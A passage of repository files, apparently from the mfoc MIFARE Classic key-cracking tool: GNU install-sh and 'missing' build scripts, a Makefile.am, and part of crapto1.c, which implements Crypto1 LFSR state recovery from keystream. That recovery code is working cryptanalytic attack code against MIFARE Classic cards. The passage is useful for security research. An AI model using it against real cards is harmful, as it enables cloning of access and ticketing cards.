# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC-
# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# Except as contained in this notice, the name of the X Consortium shall not
# be used in advertising or otherwise to promote the sale, use or other deal-
# ings in this Software without prior written authorization from the X Consor-
# tium.
#
#
# FSF changes to this file are in the public domain.
#
# Calling this script install-sh is preferred over install.sh, to prevent
# `make' implicit rules from creating a file called install from it
# when there is no Makefile.
#
# This script is compatible with the BSD install script, but was written
# from scratch.
nl='
'
IFS=" "" $nl"
# set DOITPROG to echo to test this script
# Don't use :- since 4.3BSD and earlier shells don't like it.
doit=${DOITPROG-}
if test -z "$doit"; then
doit_exec=exec
else
doit_exec=$doit
fi
# Put in absolute file names if you don't have them in your path;
# or use environment vars.
chgrpprog=${CHGRPPROG-chgrp}
chmodprog=${CHMODPROG-chmod}
chownprog=${CHOWNPROG-chown}
cmpprog=${CMPPROG-cmp}
cpprog=${CPPROG-cp}
mkdirprog=${MKDIRPROG-mkdir}
mvprog=${MVPROG-mv}
rmprog=${RMPROG-rm}
stripprog=${STRIPPROG-strip}
posix_glob='?'
initialize_posix_glob='
test "$posix_glob" != "?" || {
if (set -f) 2>/dev/null; then
posix_glob=
else
posix_glob=:
fi
}
'
posix_mkdir=
# Desired mode of installed file.
mode=0755
chgrpcmd=
chmodcmd=$chmodprog
chowncmd=
mvcmd=$mvprog
rmcmd="$rmprog -f"
stripcmd=
src=
dst=
dir_arg=
dst_arg=
copy_on_change=false
no_target_directory=
usage="\
Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE
or: $0 [OPTION]... SRCFILES... DIRECTORY
or: $0 [OPTION]... -t DIRECTORY SRCFILES...
or: $0 [OPTION]... -d DIRECTORIES...
In the 1st form, copy SRCFILE to DSTFILE.
In the 2nd and 3rd, copy all SRCFILES to DIRECTORY.
In the 4th, create DIRECTORIES.
Options:
--help display this help and exit.
--version display version info and exit.
-c (ignored)
-C install only if different (preserve the last data modification time)
-d create directories instead of installing files.
-g GROUP $chgrpprog installed files to GROUP.
-m MODE $chmodprog installed files to MODE.
-o USER $chownprog installed files to USER.
-s $stripprog installed files.
-t DIRECTORY install into DIRECTORY.
-T report an error if DSTFILE is a directory.
Environment variables override the default commands:
CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG
RMPROG STRIPPROG
"
while test $# -ne 0; do
case $1 in
-c) ;;
-C) copy_on_change=true;;
-d) dir_arg=true;;
-g) chgrpcmd="$chgrpprog $2"
shift;;
--help) echo "$usage"; exit $?;;
-m) mode=$2
case $mode in
*' '* | *' '* | *'
'* | *'*'* | *'?'* | *'['*)
echo "$0: invalid mode: $mode" >&2
exit 1;;
esac
shift;;
-o) chowncmd="$chownprog $2"
shift;;
-s) stripcmd=$stripprog;;
-t) dst_arg=$2
shift;;
-T) no_target_directory=true;;
--version) echo "$0 $scriptversion"; exit $?;;
--) shift
break;;
-*) echo "$0: invalid option: $1" >&2
exit 1;;
*) break;;
esac
shift
done
if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then
# When -d is used, all remaining arguments are directories to create.
# When -t is used, the destination is already specified.
# Otherwise, the last argument is the destination. Remove it from $@.
for arg
do
if test -n "$dst_arg"; then
# $@ is not empty: it contains at least $arg.
set fnord "$@" "$dst_arg"
shift # fnord
fi
shift # arg
dst_arg=$arg
done
fi
if test $# -eq 0; then
if test -z "$dir_arg"; then
echo "$0: no input file specified." >&2
exit 1
fi
# It's OK to call `install-sh -d' without argument.
# This can happen when creating conditional directories.
exit 0
fi
if test -z "$dir_arg"; then
trap '(exit $?); exit' 1 2 13 15
# Set umask so as not to create temps with too-generous modes.
# However, 'strip' requires both read and write access to temps.
case $mode in
# Optimize common cases.
*644) cp_umask=133;;
*755) cp_umask=22;;
*[0-7])
if test -z "$stripcmd"; then
u_plus_rw=
else
u_plus_rw='% 200'
fi
cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;;
*)
if test -z "$stripcmd"; then
u_plus_rw=
else
u_plus_rw=,u+rw
fi
cp_umask=$mode$u_plus_rw;;
esac
fi
for src
do
# Protect names starting with `-'.
case $src in
-*) src=./$src;;
esac
if test -n "$dir_arg"; then
dst=$src
dstdir=$dst
test -d "$dstdir"
dstdir_status=$?
else
# Waiting for this to be detected by the "$cpprog $src $dsttmp" command
# might cause directories to be created, which would be especially bad
# if $src (and thus $dsttmp) contains '*'.
if test ! -f "$src" && test ! -d "$src"; then
echo "$0: $src does not exist." >&2
exit 1
fi
if test -z "$dst_arg"; then
echo "$0: no destination specified." >&2
exit 1
fi
dst=$dst_arg
# Protect names starting with `-'.
case $dst in
-*) dst=./$dst;;
esac
# If destination is a directory, append the input filename; won't work
# if double slashes aren't ignored.
if test -d "$dst"; then
if test -n "$no_target_directory"; then
echo "$0: $dst_arg: Is a directory" >&2
exit 1
fi
dstdir=$dst
dst=$dstdir/`basename "$src"`
dstdir_status=0
else
# Prefer dirname, but fall back on a substitute if dirname fails.
dstdir=`
(dirname "$dst") 2>/dev/null ||
expr X"$dst" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
X"$dst" : 'X\(//\)[^/]' \| \
X"$dst" : 'X\(//\)$' \| \
X"$dst" : 'X\(/\)' \| . 2>/dev/null ||
echo X"$dst" |
sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
s//\1/
q
}
/^X\(\/\/\)[^/].*/{
s//\1/
q
}
/^X\(\/\/\)$/{
s//\1/
q
}
/^X\(\/\).*/{
s//\1/
q
}
s/.*/./; q'
`
test -d "$dstdir"
dstdir_status=$?
fi
fi
obsolete_mkdir_used=false
if test $dstdir_status != 0; then
case $posix_mkdir in
'')
# Create intermediate dirs using mode 755 as modified by the umask.
# This is like FreeBSD 'install' as of 1997-10-28.
umask=`umask`
case $stripcmd.$umask in
# Optimize common cases.
*[2367][2367]) mkdir_umask=$umask;;
.*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;;
*[0-7])
mkdir_umask=`expr $umask + 22 \
- $umask % 100 % 40 + $umask % 20 \
- $umask % 10 % 4 + $umask % 2
`;;
*) mkdir_umask=$umask,go-w;;
esac
# With -d, create the new directory with the user-specified mode.
# Otherwise, rely on $mkdir_umask.
if test -n "$dir_arg"; then
mkdir_mode=-m$mode
else
mkdir_mode=
fi
posix_mkdir=false
case $umask in
*[123567][0-7][0-7])
# POSIX mkdir -p sets u+wx bits regardless of umask, which
# is incompatible with FreeBSD 'install' when (umask & 300) != 0.
;;
*)
tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$
trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0
if (umask $mkdir_umask &&
exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1
then
if test -z "$dir_arg" || {
# Check for POSIX incompatibilities with -m.
# HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or
# other-writeable bit of parent directory when it shouldn't.
# FreeBSD 6.1 mkdir -m -p sets mode of existing directory.
ls_ld_tmpdir=`ls -ld "$tmpdir"`
case $ls_ld_tmpdir in
d????-?r-*) different_mode=700;;
d????-?--*) different_mode=755;;
*) false;;
esac &&
$mkdirprog -m$different_mode -p -- "$tmpdir" && {
ls_ld_tmpdir_1=`ls -ld "$tmpdir"`
test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1"
}
}
then posix_mkdir=:
fi
rmdir "$tmpdir/d" "$tmpdir"
else
# Remove any dirs left behind by ancient mkdir implementations.
rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null
fi
trap '' 0;;
esac;;
esac
if
$posix_mkdir && (
umask $mkdir_umask &&
$doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir"
)
then :
else
# The umask is ridiculous, or mkdir does not conform to POSIX,
# or it failed possibly due to a race condition. Create the
# directory the slow way, step by step, checking for races as we go.
case $dstdir in
/*) prefix='/';;
-*) prefix='./';;
*) prefix='';;
esac
eval "$initialize_posix_glob"
oIFS=$IFS
IFS=/
$posix_glob set -f
set fnord $dstdir
shift
$posix_glob set +f
IFS=$oIFS
prefixes=
for d
do
test -z "$d" && continue
prefix=$prefix$d
if test -d "$prefix"; then
prefixes=
else
if $posix_mkdir; then
(umask=$mkdir_umask &&
$doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break
# Don't fail if two instances are running concurrently.
test -d "$prefix" || exit 1
else
case $prefix in
*\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;;
*) qprefix=$prefix;;
esac
prefixes="$prefixes '$qprefix'"
fi
fi
prefix=$prefix/
done
if test -n "$prefixes"; then
# Don't fail if two instances are running concurrently.
(umask $mkdir_umask &&
eval "\$doit_exec \$mkdirprog $prefixes") ||
test -d "$dstdir" || exit 1
obsolete_mkdir_used=true
fi
fi
fi
if test -n "$dir_arg"; then
{ test -z "$chowncmd" || $doit $chowncmd "$dst"; } &&
{ test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } &&
{ test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false ||
test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1
else
# Make a couple of temp file names in the proper directory.
dsttmp=$dstdir/_inst.$$_
rmtmp=$dstdir/_rm.$$_
# Trap to clean up those temp files at exit.
trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0
# Copy the file name to the temp name.
(umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") &&
# and set any options; do chmod last to preserve setuid bits.
#
# If any of these fail, we abort the whole thing. If we want to
# ignore errors from any of these, just make sure not to ignore
# errors from the above "$doit $cpprog $src $dsttmp" command.
#
{ test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } &&
{ test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } &&
{ test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } &&
{ test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } &&
# If -C, don't bother to copy if it wouldn't change the file.
if $copy_on_change &&
old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` &&
new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` &&
eval "$initialize_posix_glob" &&
$posix_glob set -f &&
set X $old && old=:$2:$4:$5:$6 &&
set X $new && new=:$2:$4:$5:$6 &&
$posix_glob set +f &&
test "$old" = "$new" &&
$cmpprog "$dst" "$dsttmp" >/dev/null 2>&1
then
rm -f "$dsttmp"
else
# Rename the file to the real destination.
$doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null ||
# The rename failed, perhaps because mv can't rename something else
# to itself, or perhaps because mv is so ancient that it does not
# support -f.
{
# Now remove or move aside any old file at destination location.
# We try this two ways since rm can't unlink itself on some
# systems and the destination file might be busy for other
# reasons. In this case, the final cleanup might fail but the new
# file should still install successfully.
{
test ! -f "$dst" ||
$doit $rmcmd -f "$dst" 2>/dev/null ||
{ $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null &&
{ $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; }
} ||
{ echo "$0: cannot unlink or rename $dst" >&2
(exit 1); exit 1
}
} &&
# Now rename the file to the real destination.
$doit $mvcmd "$dsttmp" "$dst"
}
fi || exit 1
trap '' 0
fi
done
# Local variables:
# eval: (add-hook 'write-file-hooks 'time-stamp)
# time-stamp-start: "scriptversion="
# time-stamp-format: "%:y-%02m-%02d.%02H"
# time-stamp-end: "$"
# End:

367
missing Normal file
View file

@ -0,0 +1,367 @@
#! /bin/sh
# Common stub for a few missing GNU programs while installing.
scriptversion=2006-05-10.23
# Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005, 2006
# Free Software Foundation, Inc.
# Originally by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
if test $# -eq 0; then
echo 1>&2 "Try \`$0 --help' for more information"
exit 1
fi
run=:
sed_output='s/.* --output[ =]\([^ ]*\).*/\1/p'
sed_minuso='s/.* -o \([^ ]*\).*/\1/p'
# In the cases where this matters, `missing' is being run in the
# srcdir already.
if test -f configure.ac; then
configure_ac=configure.ac
else
configure_ac=configure.in
fi
msg="missing on your system"
case $1 in
--run)
# Try to run requested program, and just exit if it succeeds.
run=
shift
"$@" && exit 0
# Exit code 63 means version mismatch. This often happens
# when the user try to use an ancient version of a tool on
# a file that requires a minimum version. In this case we
# we should proceed has if the program had been absent, or
# if --run hadn't been passed.
if test $? = 63; then
run=:
msg="probably too old"
fi
;;
-h|--h|--he|--hel|--help)
echo "\
$0 [OPTION]... PROGRAM [ARGUMENT]...
Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an
error status if there is no known handling for PROGRAM.
Options:
-h, --help display this help and exit
-v, --version output version information and exit
--run try to run the given command, and emulate it if it fails
Supported PROGRAM values:
aclocal touch file \`aclocal.m4'
autoconf touch file \`configure'
autoheader touch file \`config.h.in'
autom4te touch the output file, or create a stub one
automake touch all \`Makefile.in' files
bison create \`y.tab.[ch]', if possible, from existing .[ch]
flex create \`lex.yy.c', if possible, from existing .c
help2man touch the output file
lex create \`lex.yy.c', if possible, from existing .c
makeinfo touch the output file
tar try tar, gnutar, gtar, then tar without non-portable flags
yacc create \`y.tab.[ch]', if possible, from existing .[ch]
Send bug reports to <bug-automake@gnu.org>."
exit $?
;;
-v|--v|--ve|--ver|--vers|--versi|--versio|--version)
echo "missing $scriptversion (GNU Automake)"
exit $?
;;
-*)
echo 1>&2 "$0: Unknown \`$1' option"
echo 1>&2 "Try \`$0 --help' for more information"
exit 1
;;
esac
# Now exit if we have it, but it failed. Also exit now if we
# don't have it and --version was passed (most likely to detect
# the program).
case $1 in
lex|yacc)
# Not GNU programs, they don't have --version.
;;
tar)
if test -n "$run"; then
echo 1>&2 "ERROR: \`tar' requires --run"
exit 1
elif test "x$2" = "x--version" || test "x$2" = "x--help"; then
exit 1
fi
;;
*)
if test -z "$run" && ($1 --version) > /dev/null 2>&1; then
# We have it, but it failed.
exit 1
elif test "x$2" = "x--version" || test "x$2" = "x--help"; then
# Could not run --version or --help. This is probably someone
# running `$TOOL --version' or `$TOOL --help' to check whether
# $TOOL exists and not knowing $TOOL uses missing.
exit 1
fi
;;
esac
# If it does not exist, or fails to run (possibly an outdated version),
# try to emulate it.
case $1 in
aclocal*)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified \`acinclude.m4' or \`${configure_ac}'. You might want
to install the \`Automake' and \`Perl' packages. Grab them from
any GNU archive site."
touch aclocal.m4
;;
autoconf)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified \`${configure_ac}'. You might want to install the
\`Autoconf' and \`GNU m4' packages. Grab them from any GNU
archive site."
touch configure
;;
autoheader)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified \`acconfig.h' or \`${configure_ac}'. You might want
to install the \`Autoconf' and \`GNU m4' packages. Grab them
from any GNU archive site."
files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}`
test -z "$files" && files="config.h"
touch_files=
for f in $files; do
case $f in
*:*) touch_files="$touch_files "`echo "$f" |
sed -e 's/^[^:]*://' -e 's/:.*//'`;;
*) touch_files="$touch_files $f.in";;
esac
done
touch $touch_files
;;
automake*)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'.
You might want to install the \`Automake' and \`Perl' packages.
Grab them from any GNU archive site."
find . -type f -name Makefile.am -print |
sed 's/\.am$/.in/' |
while read f; do touch "$f"; done
;;
autom4te)
echo 1>&2 "\
WARNING: \`$1' is needed, but is $msg.
You might have modified some files without having the
proper tools for further handling them.
You can get \`$1' as part of \`Autoconf' from any GNU
archive site."
file=`echo "$*" | sed -n "$sed_output"`
test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
if test -f "$file"; then
touch $file
else
test -z "$file" || exec >$file
echo "#! /bin/sh"
echo "# Created by GNU Automake missing as a replacement of"
echo "# $ $@"
echo "exit 0"
chmod +x $file
exit 1
fi
;;
bison|yacc)
echo 1>&2 "\
WARNING: \`$1' $msg. You should only need it if
you modified a \`.y' file. You may need the \`Bison' package
in order for those modifications to take effect. You can get
\`Bison' from any GNU archive site."
rm -f y.tab.c y.tab.h
if test $# -ne 1; then
eval LASTARG="\${$#}"
case $LASTARG in
*.y)
SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'`
if test -f "$SRCFILE"; then
cp "$SRCFILE" y.tab.c
fi
SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'`
if test -f "$SRCFILE"; then
cp "$SRCFILE" y.tab.h
fi
;;
esac
fi
if test ! -f y.tab.h; then
echo >y.tab.h
fi
if test ! -f y.tab.c; then
echo 'main() { return 0; }' >y.tab.c
fi
;;
lex|flex)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified a \`.l' file. You may need the \`Flex' package
in order for those modifications to take effect. You can get
\`Flex' from any GNU archive site."
rm -f lex.yy.c
if test $# -ne 1; then
eval LASTARG="\${$#}"
case $LASTARG in
*.l)
SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'`
if test -f "$SRCFILE"; then
cp "$SRCFILE" lex.yy.c
fi
;;
esac
fi
if test ! -f lex.yy.c; then
echo 'main() { return 0; }' >lex.yy.c
fi
;;
help2man)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified a dependency of a manual page. You may need the
\`Help2man' package in order for those modifications to take
effect. You can get \`Help2man' from any GNU archive site."
file=`echo "$*" | sed -n "$sed_output"`
test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
if test -f "$file"; then
touch $file
else
test -z "$file" || exec >$file
echo ".ab help2man is required to generate this page"
exit 1
fi
;;
makeinfo)
echo 1>&2 "\
WARNING: \`$1' is $msg. You should only need it if
you modified a \`.texi' or \`.texinfo' file, or any other file
indirectly affecting the aspect of the manual. The spurious
call might also be the consequence of using a buggy \`make' (AIX,
DU, IRIX). You might want to install the \`Texinfo' package or
the \`GNU make' package. Grab either from any GNU archive site."
# The file to touch is that specified with -o ...
file=`echo "$*" | sed -n "$sed_output"`
test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
if test -z "$file"; then
# ... or it is the one specified with @setfilename ...
infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'`
file=`sed -n '
/^@setfilename/{
s/.* \([^ ]*\) *$/\1/
p
q
}' $infile`
# ... or it is derived from the source name (dir/f.texi becomes f.info)
test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info
fi
# If the file does not exist, the user really needs makeinfo;
# let's fail without touching anything.
test -f $file || exit 1
touch $file
;;
tar)
shift
# We have already tried tar in the generic part.
# Look for gnutar/gtar before invocation to avoid ugly error
# messages.
if (gnutar --version > /dev/null 2>&1); then
gnutar "$@" && exit 0
fi
if (gtar --version > /dev/null 2>&1); then
gtar "$@" && exit 0
fi
firstarg="$1"
if shift; then
case $firstarg in
*o*)
firstarg=`echo "$firstarg" | sed s/o//`
tar "$firstarg" "$@" && exit 0
;;
esac
case $firstarg in
*h*)
firstarg=`echo "$firstarg" | sed s/h//`
tar "$firstarg" "$@" && exit 0
;;
esac
fi
echo 1>&2 "\
WARNING: I can't seem to be able to run \`tar' with the given arguments.
You may want to install GNU tar or Free paxutils, or check the
command line arguments."
exit 1
;;
*)
echo 1>&2 "\
WARNING: \`$1' is needed, and is $msg.
You might have modified some files without having the
proper tools for further handling them. Check the \`README' file,
it often tells you about the needed prerequisites for installing
this package. You may also peek at any GNU archive site, in case
some other package would contain this missing \`$1' program."
exit 1
;;
esac
exit 0
# Local variables:
# eval: (add-hook 'write-file-hooks 'time-stamp)
# time-stamp-start: "scriptversion="
# time-stamp-format: "%:y-%02m-%02d.%02H"
# time-stamp-end: "$"
# End:

7
src/Makefile.am Normal file
View file

@ -0,0 +1,7 @@
bin_PROGRAMS = mfoc
# set the include path found by configure
mfoc_SOURCES = mfoc.c crapto1.c crypto1.c
mfoc_LDADD = -lnfc
# dist_man_MANS = mfoc.1

487
src/crapto1.c Normal file
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@ -0,0 +1,487 @@
/* crapto1.c
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, US$
Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#include "crapto1.h"
#include <stdlib.h>
#if !defined LOWMEM && defined __GNUC__
static uint8_t filterlut[1 << 20];
static void __attribute__((constructor)) fill_lut()
{
uint32_t i;
for(i = 0; i < 1 << 20; ++i)
filterlut[i] = filter(i);
}
#define filter(x) (filterlut[(x) & 0xfffff])
#endif
static void quicksort(uint32_t* const start, uint32_t* const stop)
{
uint32_t *it = start + 1, *rit = stop;
if(it > rit)
return;
while(it < rit)
if(*it <= *start)
++it;
else if(*rit > *start)
--rit;
else
*it ^= (*it ^= *rit, *rit ^= *it);
if(*rit >= *start)
--rit;
if(rit != start)
*rit ^= (*rit ^= *start, *start ^= *rit);
quicksort(start, rit - 1);
quicksort(rit + 1, stop);
}
/** binsearch
* Binary search for the first occurence of *stop's MSB in sorted [start,stop]
*/
static inline uint32_t*
binsearch(uint32_t *start, uint32_t *stop)
{
uint32_t mid, val = *stop & 0xff000000;
while(start != stop)
if(start[mid = (stop - start) >> 1] > val)
stop = &start[mid];
else
start += mid + 1;
return start;
}
/** update_contribution
* helper, calculates the partial linear feedback contributions and puts in MSB
*/
static inline void
update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)
{
uint32_t p = *item >> 25;
p = p << 1 | parity(*item & mask1);
p = p << 1 | parity(*item & mask2);
*item = p << 24 | (*item & 0xffffff);
}
/** extend_table
* using a bit of the keystream extend the table of possible lfsr states
*/
static inline void
extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)
{
in <<= 24;
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
if(filter(*tbl) ^ filter(*tbl | 1)) {
*tbl |= filter(*tbl) ^ bit;
update_contribution(tbl, m1, m2);
*tbl ^= in;
} else if(filter(*tbl) == bit) {
*++*end = tbl[1];
tbl[1] = tbl[0] | 1;
update_contribution(tbl, m1, m2);
*tbl++ ^= in;
update_contribution(tbl, m1, m2);
*tbl ^= in;
} else
*tbl-- = *(*end)--;
}
/** extend_table_simple
* using a bit of the keystream extend the table of possible lfsr states
*/
static inline void
extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)
{
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
if(filter(*tbl) ^ filter(*tbl | 1)) {
*tbl |= filter(*tbl) ^ bit;
} else if(filter(*tbl) == bit) {
*++*end = *++tbl;
*tbl = tbl[-1] | 1;
} else
*tbl-- = *(*end)--;
}
/** recover
* recursively narrow down the search space, 4 bits of keystream at a time
*/
static struct Crypto1State*
recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,
uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,
struct Crypto1State *sl, uint32_t in)
{
uint32_t *o, *e, i;
if(rem == -1) {
for(e = e_head; e <= e_tail; ++e) {
*e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);
for(o = o_head; o <= o_tail; ++o, ++sl) {
sl->even = *o;
sl->odd = *e ^ parity(*o & LF_POLY_ODD);
sl[1].odd = sl[1].even = 0;
}
}
return sl;
}
for(i = 0; i < 4 && rem--; i++) {
extend_table(o_head, &o_tail, (oks >>= 1) & 1,
LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0);
if(o_head > o_tail)
return sl;
extend_table(e_head, &e_tail, (eks >>= 1) & 1,
LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3);
if(e_head > e_tail)
return sl;
}
quicksort(o_head, o_tail);
quicksort(e_head, e_tail);
while(o_tail >= o_head && e_tail >= e_head)
if(((*o_tail ^ *e_tail) >> 24) == 0) {
o_tail = binsearch(o_head, o = o_tail);
e_tail = binsearch(e_head, e = e_tail);
sl = recover(o_tail--, o, oks,
e_tail--, e, eks, rem, sl, in);
}
else if(*o_tail > *e_tail)
o_tail = binsearch(o_head, o_tail) - 1;
else
e_tail = binsearch(e_head, e_tail) - 1;
return sl;
}
/** lfsr_recovery
* recover the state of the lfsr given 32 bits of the keystream
* additionally you can use the in parameter to specify the value
* that was fed into the lfsr at the time the keystream was generated
*/
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)
{
struct Crypto1State *statelist;
uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;
uint32_t *even_head = 0, *even_tail = 0, eks = 0;
int i;
for(i = 31; i >= 0; i -= 2)
oks = oks << 1 | BEBIT(ks2, i);
for(i = 30; i >= 0; i -= 2)
eks = eks << 1 | BEBIT(ks2, i);
odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);
even_head = even_tail = malloc(sizeof(uint32_t) << 21);
statelist = malloc(sizeof(struct Crypto1State) << 18);
if(!odd_tail-- || !even_tail-- || !statelist)
goto out;
statelist->odd = statelist->even = 0;
for(i = 1 << 20; i >= 0; --i) {
if(filter(i) == (oks & 1))
*++odd_tail = i;
if(filter(i) == (eks & 1))
*++even_tail = i;
}
for(i = 0; i < 4; i++) {
extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1);
extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);
}
in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);
recover(odd_head, odd_tail, oks,
even_head, even_tail, eks, 11, statelist, in << 1);
out:
free(odd_head);
free(even_head);
return statelist;
}
static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,
0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,
0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};
static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,
0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,
0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,
0x7EC7EE90, 0x7F63F748, 0x79117020};
static const uint32_t T1[] = {
0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,
0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,
0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,
0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};
static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,
0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,
0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,
0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,
0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,
0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};
static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};
static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};
/** Reverse 64 bits of keystream into possible cipher states
* Variation mentioned in the paper. Somewhat optimized version
*/
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)
{
struct Crypto1State *statelist, *sl;
uint8_t oks[32], eks[32], hi[32];
uint32_t low = 0, win = 0;
uint32_t *tail, table[1 << 16];
int i, j;
sl = statelist = malloc(sizeof(struct Crypto1State) << 4);
if(!sl)
return 0;
sl->odd = sl->even = 0;
for(i = 30; i >= 0; i -= 2) {
oks[i >> 1] = BIT(ks2, i ^ 24);
oks[16 + (i >> 1)] = BIT(ks3, i ^ 24);
}
for(i = 31; i >= 0; i -= 2) {
eks[i >> 1] = BIT(ks2, i ^ 24);
